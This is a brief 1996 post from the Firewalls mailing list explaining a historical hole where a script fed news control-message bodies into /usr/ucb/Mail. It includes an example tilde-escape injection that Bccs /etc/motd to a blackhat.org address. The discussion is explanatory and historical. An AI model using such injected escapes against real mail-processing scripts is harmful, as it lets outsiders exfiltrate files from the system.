|
Firewalls (February 1996) |
Greg Woods writes: > It was one of those things where a shell script did something like > > /usr/ucb/Mail $address_obtained_from_news_article It was actually /usr/ucb/Mail < body_of_article which meant if someone put ~b dude @ blackhat . org ~r /etc/motd in the body of a control message then it would send off your message of the day. Neil. -- E-mail: nreadwin @ micrognosis . co . uk BOFH-mail: nreadwin @ dot . dot References:
|